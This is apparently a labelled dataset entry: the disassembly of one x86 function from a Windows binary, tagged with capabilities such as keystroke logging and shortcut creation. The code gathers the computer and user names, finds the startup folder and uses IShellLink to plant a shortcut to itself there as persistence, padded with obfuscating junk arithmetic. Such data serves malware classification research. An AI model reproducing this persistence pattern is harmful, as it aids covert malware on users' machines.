Function at 0x4099cb
Capabilities:
Create shortcut via ishelllink
Get common file path
Get hostname
Get session user name
Get startup folder
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429fd0
push 0x41cde8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
mov eax, 0x11d8
call fcn.004182f0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov eax, dword [0x42d410]
add eax, dword [0x433a5c]
mov ecx, dword [ebp + 8]
dec ecx
imul eax, ecx
add eax, dword [0x433a88]
mov dword [0x433a70], eax
mov dword [ebp - 0x1ac], 0x6d656d
push 0x100
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1a8]
push eax
call fcn.0040e180
add esp, 0xc
push 0x14
push ebx
lea eax, [ebp - 0x74]
push eax
call fcn.0040e180
add esp, 0xc
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [0x433850]
mov dword [0x43371c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x64], eax
push str.ntdll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x24], eax
mov eax, dword [0x433a84]
cmp eax, ebx
je 0x409a84
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x6c], ebx
xor ecx, ecx
inc ecx
cmp eax, ecx
jle 0x409a94
mov dword [0x433a70], ecx
cmp dword [0x433a7c], ebx
je 0x409aad
mov ecx, dword [0x433a5c]
imul ecx, ecx, 3
add ecx, eax
mov dword [0x433a58], ecx
mov esi, dword [0x433a74]
imul esi, esi, 3
add esi, dword [0x433a88]
push dword [ebp - 0x40]
push dword [ebp - 0x44]
call dword [sym.imp.USER32.dll_WindowFromPoint]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_IsWindow]
cmp dword [0x433a60], 1
je 0x409afd
push ebx
push edi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x28], eax
push 0x42537c
push 0x104
lea eax, [ebp - 0x1ac]
push eax
call fcn.0040e3c0
jmp 0x409b1c
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
mov dword [ebp - 0x28], eax
push 0x425380
push 0x104
lea eax, [ebp - 0x1ac]
push eax
call fcn.0040e1fa
add esp, 0xc
mov eax, dword [0x433a70]
add dword [0x433a58], eax
mov dword [0x42d410], 3
lea eax, [ebp - 0x1ac]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edi, eax
call dword [sym.imp.USER32.dll_GetCursor]
mov dword [ebp - 0x6c], eax
push esi
push fcn.0041c6c0
push dword [0x43371c]
call edi
add esp, 0xc
mov eax, dword [0x433a88]
add eax, 0x1e
push eax
push esi
call fcn.00407b89
cmp dword [0x433a84], ebx
je 0x409b84
push ebx
push dword [ebp - 0x28]
push dword [ebp - 0x28]
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [0x433a58], ebx
lea eax, [ebp + 8]
mov ecx, dword [0x43371c]
mov dword [ecx + 1], eax
movzx eax, byte [0x4332cc]
cdq
push 9
pop ecx
idiv ecx
movzx edx, word [0x433728]
sub edx, eax
sub edx, dword [0x433a58]
mov ecx, dword [0x433a68]
add edx, ecx
add edx, dword [0x433a7c]
mov esi, dword [0x433850]
add edx, esi
add dword [0x4332cc], edx
mov eax, dword [0x4332cc]
cdq
push 0xd
pop edi
idiv edi
lea edx, [esi + eax]
mov eax, dword [0x433a60]
mov esi, dword [0x433a88]
add esi, eax
cmp esi, edx
jl 0x409bfb
mov edx, dword [0x432e78]
sub edx, eax
mov dword [0x432e7c], edx
mov dword [ebp - 0x20], ecx
call dword [sym.imp.USER32.dll_GetDialogBaseUnits]
movzx ecx, ax
shr ecx, 2
mov dword [ebp - 0x24], ecx
shr eax, 0x10
shr eax, 3
mov dword [ebp - 0x2c], eax
push 0x20
push 0x40
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov esi, eax
push esi
push 0xffffffffffffffeb
push dword [ebp - 0x20]
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [ebp - 0xa4], 3
or dword [ebp - 0x90], 0xffffffff
mov dword [ebp - 0x98], str.First
lea eax, [ebp - 0xa4]
push eax
push ebx
push 0x1307
push dword [esi]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
call edi
mov dword [ebp - 0x98], str.Second
lea eax, [ebp - 0xa4]
push eax
push 1
push 0x1307
push dword [esi]
call edi
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_SetRectEmpty]
cmp dword [0x433a84], ebx
je 0x409cb6
lea eax, [esi + 0x18]
push 2
pop edx
mov ecx, dword [eax]
movsx ecx, word [ecx + 0x16]
cmp ecx, dword [ebp - 0x34]
jle 0x409ca2
mov dword [ebp - 0x34], ecx
mov ecx, dword [eax]
movsx ecx, word [ecx + 0x18]
cmp ecx, dword [ebp - 0x30]
jle 0x409cb0
mov dword [ebp - 0x30], ecx
add eax, 4
dec edx
jne 0x409c94
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.USER32.dll_MapDialogRect]
lea eax, [ebp - 0x3c]
push eax
push 1
push 0x1328
push dword [esi]
call edi
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x3c]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
lea eax, [esi + 8]
lea ecx, [ebp - 0x3c]
push ecx
push eax
call dword [sym.imp.USER32.dll_CopyRect]
lea eax, [esi + 8]
push eax
push ebx
push 0x1328
push dword [esi]
call edi
push 4
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x3c]
push eax
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
push ebx
push dword [esi]
mov esi, dword [sym.imp.USER32.dll_SetWindowPos]
call esi
push dword [0x42d410]
push dword [ebp - 0x20]
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
call edi
mov dword [ebp - 0x28], eax
push 5
push ebx
push ebx
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x2c]
push ecx
push dword [ebp - 0x3c]
push ebx
push eax
call esi
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [ebp - 0x60]
sub dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x5c]
sub dword [ebp - 0x54], eax
push dword [0x433a70]
push dword [ebp - 0x20]
call edi
push 5
push ebx
push ebx
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x58]
add edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x24]
push edx
push ebx
push eax
call esi
push 8
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
call edi
add eax, dword [ebp - 0x2c]
add eax, eax
mov dword [ebp - 0x28], eax
push 6
push 4
call edi
add eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x30]
push eax
push 7
call edi
mov ecx, dword [ebp - 0x34]
lea eax, [ecx + eax*2]
add eax, dword [ebp - 0x2c]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x20]
call esi
mov esi, str.Window
lea edi, [ebp - 0x4c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.Name
lea edi, [ebp - 0x44]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [0x433a68]
mov dword [ebp - 0x20], eax
mov edi, dword [0x433a84]
mov eax, dword [0x42d410]
mov dword [ebp - 0x24], eax
mov eax, dword [0x433a70]
mov dword [ebp - 0x28], eax
mov eax, edi
dec eax
je 0x409e0e
dec eax
jne 0x409e99
push ebx
call dword [sym.imp.USER32.dll_PostQuitMessage]
jmp 0x40a4d7
push ebx
push ebx
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call esi
push eax
push ebx
push dword [ebp - 0x20]
push 0x64
push 0x64
push 0xa
push 0xa
push 0x54cf0001
push str.Press
push str.BUTTON
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
test eax, eax
jne 0x409e56
push 0xe0f
push 0x4253bc
push 0x4253dc
call fcn.0040db16
add esp, 0xc
push ebx
push ebx
call esi
push eax
push ebx
push dword [ebp - 0x20]
push 0x64
push 0x64
push 0xa
push 0xa
push 0x54cf0000
push str.Class_Window
lea eax, [ebp - 0x44]
push eax
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp eax, ebx
jne 0x409e9f
push 0xe0f
push 0x42540c
push str.hChild
call fcn.0040db16
add esp, 0xc
jmp 0x409e9f
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push dword [ebp - 0x28]
push dword [ebp - 0x24]
push edi
push dword [ebp - 0x20]
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 0x28
push ebx
lea eax, [ebp - 0x88]
push eax
call fcn.0040e180
add esp, 0xc
push ebx
call esi
mov dword [ebp - 0x78], eax
push ebx
mov edi, dword [sym.imp.GDI32.dll_GetStockObject]
call edi
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x409eeb
mov dword [0x42d410], ebx
push 0x28
push ebx
lea eax, [ebp - 0x88]
push eax
call fcn.0040e180
add esp, 0xc
push ebx
call esi
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x64], 0x4331b0
push 2
call edi
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x409f29
mov dword [0x42d410], ebx
push ebx
push ebx
call esi
push eax
push ebx
push ebx
mov eax, 0xc8
push eax
push eax
push 0xa
push 0xa
push 0x12cf0000
push str._Window_n
lea eax, [ebp - 0x4c]
push eax
push ebx
mov edi, dword [sym.imp.USER32.dll_CreateWindowExA]
call edi
mov dword [ebp - 0x24], eax
cmp dword [0x433a7c], ebx
je 0x409f78
cmp eax, ebx
jne 0x409f78
push 0xe0f
push 0x425448
push str.hWnd___NULL
call fcn.0040db16
add esp, 0xc
push ebx
push ebx
call esi
push eax
push ebx
push dword [ebp - 0x24]
push 0x64
push 0x64
push 0xa
push 0xa
push 0x54cf0001
push str.Child
lea eax, [ebp - 0x4c]
push eax
push ebx
call edi
cmp dword [0x433a68], ebx
je 0x409fbd
cmp eax, ebx
jne 0x409fbd
push 0xe0f
push str.templateex.cpp
push str.hChild___NULL
call fcn.0040db16
add esp, 0xc
cmp dword [0x433a84], ebx
je 0x409feb
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x409fda
lea eax, [ebp - 0xa4]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0xa4]
push eax
call esi
cmp eax, 1
je 0x409fcd
mov ecx, dword [0x433a60]
mov eax, ecx
sub eax, dword [0x433a64]
sub eax, dword [0x4332c8]
add eax, dword [0x433a58]
add dword [0x42d410], eax
mov esi, dword [0x433a84]
lea esi, [esi + 0x52]
mov eax, dword [0x433a7c]
cdq
idiv esi
mov edx, 0x433858
movzx edx, dx
add eax, dword [0x433728]
add edx, eax
mov eax, dword [0x432e78]
sub eax, ecx
add eax, dword [0x4332cc]
cmp edx, eax
jge 0x40a047
mov eax, dword [0x433a74]
mov dword [0x432e78], eax
mov dword [0x433748], str.thats
mov eax, dword [0x433724]
cdq
push 0x2d
pop esi
idiv esi
sub eax, dword [0x432ffd]
sub eax, dword [0x433738]
sub eax, dword [0x433a90]
sub eax, dword [0x433724]
add eax, dword [0x433a6c]
add eax, dword [0x433720]
add eax, dword [0x433a5c]
add dword [0x433a70], eax
lea esi, [ecx + 0x41]
movzx eax, byte [0x42d410]
cdq
idiv esi
mov edi, eax
movzx eax, byte [0x433724]
cdq
push 0xa
pop esi
idiv esi
mov esi, eax
sub esi, edi
movzx eax, byte [0x433a80]
add esi, eax
sub esi, ecx
mov eax, 0x4332d0
movzx eax, al
add esi, eax
mov dword [0x42d410], esi
movzx eax, cl
add eax, dword [0x433a84]
je 0x40a0e5
mov eax, dword [0x4332bc]
add eax, dword [0x433a6c]
add dword [0x433a80], eax
jmp 0x40a101
mov eax, dword [0x432e7c]
cdq
push 0x26
pop edi
idiv edi
sub eax, dword [0x4332cc]
sub eax, dword [0x433a84]
mov dword [0x433a58], eax
add ecx, 0x55
mov eax, dword [0x433a90]
xor edx, edx
div ecx
mov ecx, dword [0x4332c4]
cmp eax, ecx
jbe 0x40a11f
mov esi, ecx
mov dword [0x42d410], esi
mov eax, dword [0x4332c0]
imul eax, dword [0x433a70]
test eax, eax
je 0x40a147
movzx eax, word [0x432e78]
movzx ecx, word [0x4332cc]
sub eax, ecx
add esi, eax
mov dword [0x42d410], esi
mov eax, dword [0x433a5c]
cdq
push 0x25
pop ecx
idiv ecx
mov ecx, eax
add ecx, dword [0x4332cc]
mov eax, dword [0x432e7c]
cmp ecx, eax
je 0x40a172
movzx eax, ax
imul eax, dword [0x432fa8]
mov dword [0x433a5c], eax
mov eax, dword [0x433730]
movzx ecx, al
cmp ecx, dword [0x433740]
jle 0x40a18f
mov eax, dword [0x433a68]
add dword [0x4332b4], eax
jmp 0x40a1a8
movzx ecx, byte [0x43372c]
movzx eax, ax
imul ecx, eax
add ecx, dword [0x4332b8]
add dword [0x43373c], ecx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x2c], ebx
push ebx
push 0x190
lea eax, [ebp - 0x2c]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
push str.Process
push ebx
push ebx
call dword [sym.imp.pdh.dll_PdhEnumObjectItemsW]
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
mov edi, 0x208
mov dword [ebp - 0x40], edi
xor eax, eax
mov word [ebp - 0xddc], ax
mov esi, 0x40e
push esi
push ebx
lea eax, [ebp - 0xdda]
push eax
call fcn.0040e180
add esp, 0xc
xor eax, eax
mov word [ebp - 0x9cc], ax
push esi
push ebx
lea eax, [ebp - 0x9ca]
push eax
call fcn.0040e180
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xddc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameW]
xor eax, eax
mov word [ebp - 0x5bc], ax
push esi
push ebx
lea eax, [ebp - 0x5ba]
push eax
call fcn.0040e180
add esp, 0xc
mov eax, dword [ebp - 0x4c]
add eax, eax
push eax
call fcn.0040c4a6
pop ecx
mov esi, eax
mov eax, dword [ebp - 0x2c]
add eax, eax
push eax
call fcn.0040c4a6
pop ecx
mov dword [ebp - 0x24], eax
cmp esi, ebx
je 0x40a3b7
cmp eax, ebx
je 0x40a3ac
push ebx
push 0x190
lea ecx, [ebp - 0x2c]
push ecx
push eax
lea eax, [ebp - 0x4c]
push eax
push esi
push str.Process
push ebx
push ebx
call dword [sym.imp.pdh.dll_PdhEnumObjectItemsW]
lea eax, [ebp - 0x5bc]
push eax
push ebx
push ebx
push 7
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [ebp - 0x40], edi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x9cc]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push edi
lea eax, [ebp - 0x11ec]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push 0x4254e4
lea eax, [ebp - 0x5bc]
push eax
call fcn.0040d379
lea eax, [ebp - 0x9cc]
push eax
lea eax, [ebp - 0x5bc]
push eax
call fcn.0040d379
push 0x4254e8
lea eax, [ebp - 0x5bc]
push eax
call fcn.0040d379
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push 0x429768
push 1
push ebx
push 0x41f320
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x28], eax
mov edi, esi
cmp word [esi], bx
je 0x40a339
push edi
push 0x4254f4
call fcn.0040da36
push edi
call fcn.0040dadd
add esp, 0xc
lea edi, [edi + eax*2 + 2]
cmp word [edi], bx
jne 0x40a31c
cmp dword [ebp - 0x28], ebx
jl 0x40a397
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
lea edx, [ebp - 0x11ec]
push edx
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
lea edx, [ebp - 0xddc]
push edx
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push 0x41f330
push eax
call dword [ecx]
cmp eax, ebx
jl 0x40a38e
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x5bc]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [ebp - 0x24]
jmp 0x40a3a7
push edi
call fcn.0040dadd
pop ecx
lea edi, [edi + eax*2 + 2]
cmp word [edi], bx
jne 0x40a39c
cmp esi, ebx
je 0x40a3b7
push esi
call fcn.0040d33f
pop ecx
cmp dword [ebp - 0x24], ebx
je 0x40a3c5
push dword [ebp - 0x24]
call fcn.0040d33f
pop ecx
xor edi, edi
inc edi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x50], ebx
mov ecx, dword [0x433a84]
cmp dword [ebp - 0x50], 5
jge 0x40a460
xor eax, eax
movzx eax, ax
sub eax, dword [0x433850]
cmp eax, edi
jne 0x40a405
cmp edi, ecx
jae 0x40a405
movzx eax, byte [0x433a64]
sub eax, dword [0x433a7c]
mov dword [0x43371c], eax
jmp 0x40a432
mov eax, dword [0x433a70]
cdq
idiv dword [0x433a68]
mov edx, dword [0x433a90]
imul edx, dword [0x433a60]
add eax, dword [0x43371c]
add edx, eax
add edx, dword [0x433a88]
add dword [0x433a5c], edx
mov esi, dword [0x433a60]
cmp esi, ebx
je 0x40a458
push dword [0x433a7c]
call dword [sym.imp.ole32.dll_RevokeDragDrop]
push 1
push ebx
push esi
call dword [sym.imp.ole32.dll_CoLockObjectExternal]
mov ecx, dword [0x433a84]
inc dword [ebp - 0x50]
jmp 0x40a3d4
cmp word [0x433a64], bx
jne 0x40a4d3
imul ecx, dword [0x433a70]
sub ecx, dword [0x433a5c]
mov dword [0x433a80], ecx
jmp 0x40a4d3
or dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret